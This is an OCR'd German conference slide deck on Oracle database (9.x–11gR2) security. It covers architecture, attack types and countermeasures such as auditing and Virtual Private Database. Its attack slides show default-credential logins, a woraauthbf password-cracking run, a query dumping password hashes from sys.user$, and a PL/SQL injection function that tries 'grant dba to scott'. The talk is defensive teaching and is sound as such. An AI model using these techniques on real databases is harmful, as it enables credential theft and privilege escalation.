Daten(un)sicherheit

Am Beispiel der Oracle Enterprise
Editionen V9.x —V11gR2



Whoami

Meine Person :
e Karsten Aalderks
* Profi Einstieg mit Oracle V4/V5.1a/b/c im Jahr 1986

 Website : http://db-consult-aalderks.de/4481.html

Seit 1991 unterwegs als :
* Senior Software Architect , Database Professional

* Spezialisierungen:
— Umsetzung von Datenschutz liber Automatisierungen
— Design/Re-Design von Datenbank Anwendungen

— Ablaufverbesserungen tber datengestiitzte Workflows z.B. Im Engineering f.
Power Plants
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Agenda

Oracle Historie und Kernmerkmale
Codd’s klassische 12 Regeln
Grundbegriffe — Oracle Jargon
Kommunikation mit der Datenbank
Oracle Optionen / Features

Angriffe und Typisierungen
GegenmalRnahmen

Die Hauptaufgabe beim Datenschutz
Anregungen

Links und Buchempfehlungen



Oracle’s
Historie und Hauptmerkmale

Larry Ellison und die Arbeit von Codd 1979
Trusted Oracle — formal sicher f. CIA /NSA
Client/Server Architecture

SQL *Net TCP/IP — IPX/SPX - DECnet
Transaktionssicher seit Version 4 —ACID konform
Data Dictionary mit dyn. Perf. Views

Stored Procedures/Packages
— Ref Cursor Strongly /Weakly Typed

APIl‘s OCI /Pro C/ Pro Fortran/...
Lesekonsistenzmodell - Default optimistic



10.

11.

12.

Codd‘s klassische 12 Regeln

Information Rule (Darstellung von Informationen): Alle Informationen werden durch Werte in Tabellen
dargestellt.

Guaranteed Access Rule (Garantierter Zugriff): Jeder Wert muss iber Tabellenname, Spaltenname und Wert des
Primarschlissels zugreifbar sein.

Systematic Treatment of Null Values (Systematische Behandlung von Null-Werten): Fehlende Werte werden
unabhangig vom Datentyp mit NULL dargestellt.

Dynamic On-line Catalog Based on the Relational Model (Online-Datenkatalog): Die Datenbank und ihre Inhalte
werden in einem Online-Datenkatalog (Data Dictionary) in Form von Tabellen beschrieben.

Comprehensive Data Sublanguage Rule (Metasprache): Das relationale System unterstitzt Datendefinition,
Datenmanipulation und Datenabfrage mit einer einheitlichen Sprache.

View Updating Rule (Aktualisierung von Sichten): Sofern theoretisch moglich, miissen Inhalte von Basistabellen
auch uber Sichten anderbar sein.

High-level Insert, Update and Delete (Parallele Datenmanipulation): Innerhalb einer Operation kdnnen beliebig
viele Tupel bearbeitet werden.

Physical Data Independence (Physische Datenunabhangigkeit): Physische Ebene (Speicherung) und
konzeptuelles Schema der Datenbank sind unabhangig voneinander.

Logical Data Independence (Logische Datenunabhangigkeit): Die Sicht einer Anwendung und das konzeptuelle
Schema der Datenbank sind unabhangig voneinander.

Integrity Independence (Unabhangigkeit der Integritat): Unumgangliche Regeln (Integritatsbedingungen)
mussen im Online-Datenkatalog gespeichert werden kdnnen.

Distribution Independence (Verteilungsunabhangigkeit): Logische und Physische Datenunabhéangigkeit missen
ebenso fir verteilte Datenbanken gelten.

Nonsubversion Rule (Kein Unterlaufen der Integritat): Integritatsbedingungen dirfen auf keinen Fall umgangen
werden, auch nicht mit Hilfe von niederen Programmiersprachen.
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Oracle SQL Developer : Proz PARENT@ORCL SCO
Datei Bearbeiten Ansicht Navigieren Ausfuhren Versionierung Extras Hilfe
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=] EB Indizes 5 IS
=@l Packages
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33 Queues . i —
& Queue-Tabellen 10| =2 FOR i IN 1 .. pNumRecs
=@ Trigger sk LOOP
{8 Crossedition-Trigger 12 FETCH p_retcur INTO at_rec:
%;ZZiches 13 dbms_output .put_line {(at_rec.table name || " - T || at_rec.tablespace_name || T - T || T
@=-[E8 Materialized Views 14 END LOOP ;I
@-{§8 Materialized View Logs 15 END parent: -
{f@ Scheduler |~ |
-3 Synonyme =0 [0
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{3 Editions A —— example from DAN MORGAN
{F5 Application Express 2| CREATE OR REPLACE
=-{&) Java
= :
ES SMLSchamas 3 PROCEDURE child(
a3 XML-DB-Repository 4a p_NumRecs IN PLS_INTEGER,
il Papierkorb 5 p_return_cur OUT SY¥YS_REFCURSOR)
-3 DBMS-Jobs 6 IS
-8 Andere Benutzer - —
B3 ORCL SYS
E) ORCL SYSTEM 8 OPEN p_return_ cur FOR T'SELECT * FROM all tables WHERE rownum <= ' || p_NumRecs:
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J — O |
| | Nachrichten - Protokoll * | =]
Formatierung erfolgreich | Zeile 14 Spalte 12 | Einfigen | Geandert Unix/Mac: LF Editing.

Gefahr Weak Ref Cursor bzw. Dynamic SQL
Das fixe SQL "SELECT * FROM ..." konnte mehrstufig dynamisch erzeugt

werden.
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Oracle SQL Developer :

Datei Bearbeiten Ansicht Navigieren Ausfuhren Versionierung Extras Hilfe

@l Packages
{30) Prozeduren
#-¥] CHILD
= PARENT
28 Funktionen A
03 Queues =l Skriptausgabe * |

{#8 Queue-Tabellen s ¢ B 5, B Task abgeschlossen in 0,281 Sekunden
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— Load Controllers
— Init Recently opened Designs

Formatierung erfolgreich Zeile 2 Spalte 14 | Einfagen Geandert Windows: CR/LF Editing

Das Ergebniss — limitiert auf 10 Result Records

Mit dieser Technik lassen sich ganze Packages zur Laufzeit anlegen,
weitgehend iber Metadaten gesteuert.
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Grundbegriffe — Abklrzungen

Datenbankinstanz - orcl
Userschema - scott

Roles - connect, resource, ...,dba
Grantee - ka

Owner - sales

ASO - Advanced Security Option
SAR - Secure Application Roles
VPD - Virtual Private Database
RLS - Row Level Security

FGA - Fine Grained Access



Kommunikation mit der Datenbank

e Listener Default Port 1521

c:\> Isnrctl status
c:\> Isnrctl start, stop

e Dispatcher ( dedicated, multithreaded MTS)
e User(Schema) / Password

c:\> sqlplus system/manager@orcl

c:\> exp scott/tiger@orcl



LSNRCTL for 32-bit Windows: Uersion 11.2.68.1.0 - Production on 081-JUN-2011 11:53
: 25

Copyright (c) 1981, 2018, Oracle. All rights reserved.

Anmeldung bei (DESCRIPTION=(ADDRESS=(PROTOCOL=IPC)(KEY=EXTPROC1521)))
STATUS des LISTENER

LISTENER
{Uersion TNSLSNR for 32-bit Windows: Uersion 11.2.08.1.08 - Produ
ction
Startdatum O1-JUN-2011 10:06:44
Uptime B Tage 1 Std. 46 Min. 42 Sek.
Trace-Ebene off
Sicherheit ON: Local 0S Authentication
SNHMP OFF
| [Parameterdatei des Listener F:\app\Gravity\product\11.2.0\dbhome_1\network\admin
\Vlistener.ora
Log-Datei des Listener f:\appigravityisdiag\tnslsnriGravity-PC\listenerialerty
"log.xml
Zusammenfassung Listening-Endpunkte. ..
(DESCRIPTION=( ADDRESS=(PROTOCOL=1ipc) (PIPENAME=\\ .\pipe\EXTPROC1521ipc)))
(DESCRIPTION=( ADDRESS=(PROTOCOL=tcp)(HOST=127.0.0.1)(PORT=1521)))
Services gbersicht. ..
iIDienst "CLRExtProc™ hat 1 Instanzen.
Instanz "CLRExtProc™”, Status UNKNOWN, hat 1 Handler f"r diesen Dienst. ..
Dienst “orcl”™ hat 1 Instanzen.
Instanz “orcl™”, Status READY, hat 1 Handler f"r diesen Dienst...
Dienst “orclXDB™” hat 1 Instanzen.

Instanz “orcl™”, Status READY, hat 1 Handler f"r diesen Dienst. ..
s mn

Oracle Listener

CLRExtProc ist die .Net Schnittstelle zu Oracle
orcIXDB die XML Datenbank innerhalb von Oracle
Orcl ist die eigentlich Datenbankinstanz




Optionenen/Features

Aurora Java - Single Threaded -non reentrant
XDB XML Database

Data Cartridge API

APEX - Application Express

Advanced Security Option

Database Vault

Audit Vault

Nahezu jede Option und spez. Features besitzen eigene
accounts/userschemata, die teils weitgehende Rechte
besitzen. z.B. XDB



Angriffe

Default User and default passwords
c:\> sqglplus sys/change_on_install !!!
Oracle listet mehr als 600 default accounts

Pete Finnigan vermutet mehr als 1400 default accounts mit
default password

Viele sind mittlerweile locked und/oder mit abgelaufenem
Password eingerichtet

Die Rechte diverser default accounts sind mit FleiRarbeit zu
Uberarbeiten, notfalls nur bedingt zu nutzen.



Angriffe

e Password Cracker z.B. woraauthbf
* Alphanumerisches Password bis 6 Stellen wird auf
2 Kern CPU in 30 Sekunden — 8 Minuten ermittelt.

Wie ?

* Datenbank mit gesammelten Passwoértern wird vorab
abgeglichen

* AnschlieBend Brute Force Methode Multithreaded in C



Bl C:\Windows\system32\cmd.exe ’ = | E d""‘l

C:\Users\Gravity\Datenbankvortrag\woraauthbf>woraauthbf -p puwdfile.txt -m 6 -c a
lphanum
Usernames will be permuted!?
The number of processors: 2
Number of pwds to check: 2238976116
Number of pwds to check by thread: 1119488058
Password file: pwdfile.txt, charset: alphanum, maximum length: 6, type: hash
Start: 0 End: 1119488058
Start array thread with 489 number of passwords!
1119488058 End: 2238976116
session files. ..
session files. ..
session files. ..
session files. ..
session files. ..
session files. ..
session files. ..
SCOTT:EVU0678:B8AFBESS52B2438CT73D11D37C3E827C35DI9CEDOF3A356TAYCT3
69DC2FF3F : ORCL
Elpased time: 436s
Checked passwords: 700932855
Password / Second: 1607644

C:\Users\Gravity\Datenbankvortrag

woraauthbf on Oracle 11gR2 EE - 6 digits alphanum



& Oracle SQL Developer —

Datei Bearbeiten Ansicht Navigieren Ausfihren Versionierung Extras Hilfe

RoEg 9 xXEm O0-©0- &- =
BRyver... x | @B x | E)| Bl 22g4ashstring.sql * | =
g @ T SQL-Arbeitsblatt | Historie | ]
€4 -
| &, verbindungen CERBR BB &wed [& orcL sysTem ]
#--E ORCL Fahrtenbuch|| Arbeitsblatt lQuery Builder |
-6 ORCL SYS 1|9 SELECT u.name
2 [ORCL SYSTEM > TR
& orcL scoTT 3 | |u. password
4 [ B F
5 | | SUBSTR (u. spared, 3, 63)
6 [k
=7 | |1d.name
8 MR Cad
9. |l sys_context("USERENV', "SERVER_HOST")
10 JR)rEE=s
11| FROM sys.user$ u,
12 sys.V_$DATABASE d
13| WHERE u.type#=1;
av
[> Abfrageergebnis * |

# 5, @) Bk sQL Alle Zeilen abgerufen:42 in 0,191 Sekunden

[l U.NAME||':'| |lU.PASSWORD]||':'| |ISUBSTR(U.SPARE4,3,63)||':'| ID.NAME] |':'| |SYS_CONTEXT('USERENV','SERVER_HOST")||':'

31 HR: S8FASTAAEDOB2SAE: 4455E0F39BEF3A05FF2975A33600C69CC12ES534A9645B3C86930B5SF65B00:ORCL: gravity—pc:

B ) X DT
24 MGMT_ VIEW: S3028626A2A9017A:2D8EEASSAEOG6A42073F2A63066F8AT77E4967A1A1166F24042AD2CAAS0CDF:ORCL:gravity—pc:

25 FLOWS_FILES:F33ACA8641CSA02D:83F6961CA0757487C719E3AC2ESCAODB86BD42CSB72769E4D6855A4CBE218:ORCL:gravity—pc:

26APEX_PUBLIC_USER:GFSEBCAZCE60F883:9SB3A2509D1AE96FBSC274EE6011E4OBFEAE53042SSFOFAGBGC95E72DOEF:ORCL:gravity—pc:
27 APEX 030200:D89FCSA4EEFG64FB2:FE4426909D36641BDA67D7C48AB080E1B123EF1D0OBS0A415D2F86FB4DB45: ORCL:gravity—pc:
28 OWBSYS: 610A3C38F301776F: FAD76A3F3404B34ACA144958FSESFF0OAG641E4BOBB875CBF65057329430150:ORCL:gravity—pc:
29 OWBSYS_AUDIT:FD8C3D14F6B60015:8E57625F640B315CAT7F9219F2C536DBD63215775021D3ADEEOOG624F453DE: ORCL:gravity—pc:
30 SCOTT: ED1EOOEBC2015FB1: BBAF6ES52B2438C773D11D37C3E827C35DSCEDSF3A3567A4C7369DC2FF3F:ORCL:gravity—pc:

Nachrichten - Protokoll * ]

2011-06-05 11:11:14 - Load Controllers
2011-06-05 11:11:16 — Init Recently opened Designs

ORCL SYSTEM

| Editing 1

11gR2 Hash Ermittlung tber sys.user$

Uber "Mithéren” via z.B. DLL Injection kann der Hash ebenfals ermittelt
werden.
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Angriffe

Wie kommt man an den Passwort Hash bzw. das
Passwort direkt ?

« Zu weitgehende Privilegien z.B. sys.userS

e Zugriff auf Password File - OS Ebene

e Zugriff auf System Tablespace z.B. liber Java Stored Procedure
e Zugriff auf full Export File

e Zugriff auf Archive Logs



Angriffe
Was heildt zu weitgehende Privilegien ?

* Direkt auslesen aus DD - z.B. sys.userS
* |Indirekt Gber SQL/PLSQL Injection

* Einstufig :z.B. Dynamic SQL Procedure mit Union oder
Concatenate erweitern.

* Beispiel : Mit Dynamic SQL Procedure DBA Rechte erlangen
und direkt auslesen



Angriffe
uber PL/SQL Funktionen

CREATE OR REPLACE
FUNCTION scott.util_text
RETURN VARCHAR2 authid current_user
1S
pragma autonomous_transaction;
BEGIN
EXECUTE immediate 'grant dba to scott’;
RETURN '
END;



R S o R - 3 — SR e -
EL Oracle SQL Developer : ORCL SCOTT &= el o[ B [

Datei Bearbeiten Ansicht Navigieren Ausfuhren Versionierung Extras Hilfe
B 9 xED 0-0- &- =3
Rver... x |@E x | || Bl 12gHashstring.sql * | @a0RCL SYsTEM~1 * | @y0RAL ScoTT * | 1> UTH_TEXT * | @10RCL SCOTT~1 * | =
4 ® ¥ >Emuald &3 A2 ¢ & 0,044 Sekunden £ ORCL SCOTT ~|
@&, verbindungen Arbeitsblatt | Query Builder |
E3 ORCL Fahrtenbuch 1| ‘commit; =
B oRrcL sYs z select sys.dbms_metadata.get_ddl("""||scott.util_ text{)||""", ") from dual;
&) ORCL SYSTEM Sl Yo
=& ORCL scoTT 4| 'select * from user_role privs;l
@-{g3 Tabellen (Gefilt¢ ‘5 = =
(B3 views [=l skriptausgabe * | @@ Abfrageergebnis * |
{83 Editionierungs-\ | g & B &, E Task abgeschlossen in 0,044 Sekunden
#-{38 Indizes : =
@G Packages festgeschrieben. —
{30 Prozeduren
=38 Funktionen Fehler beim Start in Zeile 2 in Befehl:
i@ 9 UTIL select sys.dbms_metadata.get _ddl (""" | |scott.util _text()||""", ") from dual

=-4» Ut _TEXT ||Fehlerbericht:
BH RETURN || sQL-Fehler: ORA-31600: Ungiltiger Eingabewert | |scott.util text() ||’ fur Parameter OBJECT_TYPE in Funktion GET_DDL

{2 Verzeichnisse
{3 Editions

{3 Application Expr
{1 Java
XML-Schemas
{4 XML-DB-Reposit
- Papierkorb

03 Queues OR&-06512: in "SYS.DBMS_METADATA", Zeile 3773

@ A Queue-Tabellen | op s 0gs512: in "SYS.DEMS METADATA", Zeile 3828

gvgz:f:;:mon_ﬁ ORA-06512: in "SYS.DBMS METADATA", Zeile 5678

@ Typen ORA-06512: in Zeile 1

33 Sequences 31600. 0000O - "invalid input wvalue %s for parameter %s in function %s"

- [H8 Materialized vie | *Cause: 24 NULL or invalid walue was supplied for the parameter.

{E8 Materialized Vie | *Action: Correct the input walue and try the <all again.

3 & Scheduler festgeschrieben.

(g Synonyme USERNAME GRANTED_ROLE ADMIN_OPTION DEFAULT ROLE OS_GRANTED
600 Offentliche Syndil s orssssnmrssuessnTrsseissn Dy meseDaeioonsmerrenspamrsemenseasreey | seass Sesnr s es et S ieneey B hvesnse g
(& patenbankiinks || 4o omp CONNECT no YES o

z @Offentllche Datg sSCOTT RESOURCE NO YES NO

&

]

2]

[£2]

{2 DBMS-Jobs =
@ Andere Benutze|| Nachrichten - Protokoll * | =
Kompiliert
Kompiliert

G )

Formatierung erfolgreich } Zeile 4 Spalte 31 \ Einftig Geand n\ ‘Windows: CR/LF\ EditingJ

Klappt nicht

Mit V9i wurden DBA Rechte noch erteilt !
Die Beispieldatenbank ist eine 11g R2 EE
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Angriffstypisierung

* Von aullen kommt die sekundare Gefahr
— Demonstration fur alle
— Hacker machen aufmerksam
— Gangster klauen und verkaufen Daten

* Von innen kommt die Hauptgefahr

— Alle Mitarbeiter sind potentielle Datendiebe
e Unzufriedene Mitarbeiter
e Korrupte Mitarbeiter
* DBA's, Manager, Operator, einfache Anwender, ...



Angriffstypisierung

Nicht nur Datenklau ist ein Problem
sondern nicht Geschaftsprozel3-konforme Datenmanipulation

Hierbei ist zu unterscheiden zwischen legitimierter und nicht
legitimierter Datenmanipulation

Beispiel legitimiert: Die Jahresabschlulszahlen werden auf
Anweisung eines Managers geschont

Beispiel nicht legitimiert : Die Verkaufszahlen eines Produkts
werden von einem bezahlten Mitarbeiter der Konkurrenz je
nach Marktsituation manipuliert.

Grinde : z.B. Verhinderung bzw. Forcierung von Marketing
Aktionen



Gegenmalihahmen

Neuste Oracle DB Version
Wenn moglich Advanced Security Option installieren
Aktuelle Patches bes. Security Patches

Datensicherheitsklassifizierung aller Daten
— Was ist wie zu schitzen

Feingranulare Datenzugriffsregelung fir alle !
Verschlisselung

z.B. SSL Zugang statt klassischem Passwort

z.B. Datenverschliisselung TDE

z.B. Backup Verschlisselung
Secure Application Roles !
Prozess/Thread Kontrolle gegen Datenbankfiles und Shared
Memory



Gegenmalihahmen

Auditing
— Mandatory , Admin Auditing
— Fine Grained Acces Auditing
— Before/ After and special Select Auditing
DML History with timestamp, user, machine,
application, reasons |
High Security Read Level
- Datentausch auf Row Level Ebene Uber Algorithmus
- erweiterbar auf Column Level
- Hierbei wird die physikalische Rowid genutzt



Die Hauptaufgabe

Wer hat wann das Recht auf welche Daten ?
Ermittlung scheitert oft an dem Gesamtaufwand.

Ein Losungsansatz : Zentralisierte feingranulare
Zugriffsregelung mit individualisierten Anwendungsrollen
= Secure Application Roles
= Virtual Private Database FGA/VPD/RLS

Mit Policy Functions wird ein Select Befehl mit
individueller WHERE Bedingung zur Laufzeit in
Anhangigkeit des Users/Role erzeugt.



Wie setzt man die Hauptaufgabe um ?

Meine Antwort :

Virtual Private Database Generator

— Onthe fly or pre-generated

— Unternehmenshierarchien werden eingepflegt

— Rechteprofile erstellt

— Generierung der Policies/Functions samt Auditing



Anregungen

Proprietateres Trusted OS sowie Trusted Oracle
speziell Filesysteme und Library Calls die
Zugriff auf Shared Memory und OS Files Uber

— Authentifizierte Prozesse/Threads mit z.B. dyn. Tageskennung
— Alle anderen osuser oracle Prozesse /Threads haben keinen Zugriff

API’s fur individuelle Authentifizierungsprozesse
Dynamische Protokollanderungen SSL, Kerberos, Radius, ...

Dynamisch konfigurierbare High Speed Protokolle f. Cluster,
Grid, Cloud, ...

Allgemein : Keine statischen Schlupflécher zulassen



Links und Buchempfehlungen

David Litchfield http://www.davidlitchfield.com/
http://www.v3rity.com/

Pete Finnigan http://www.petefinnigan.com/

Alexander Kornbrust

http://www.red-database-security.com/

Lazlo Toth

http://soonerorlater.hu/index.khtml?article id=1

Ron Ben Nathan - HOWTO Secure and Audit Oracle 10g/11g
http://ronbennatan.sys-con.com/

David Knox , Tyler Muth , Peter Wahl - Applied Oracle Security

http://www.amazon.com/Applied-Oracle-Security-Developing-
Environments/dp/0071613706
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Ende

oder auch nicht ...

e QA - Session direkt im Anschlul

* Optionale Demo von Lazlo Toth zur Transparent Data
Encryption Aushebelung nach dem Vortrag von

Dr. Oriana Weber



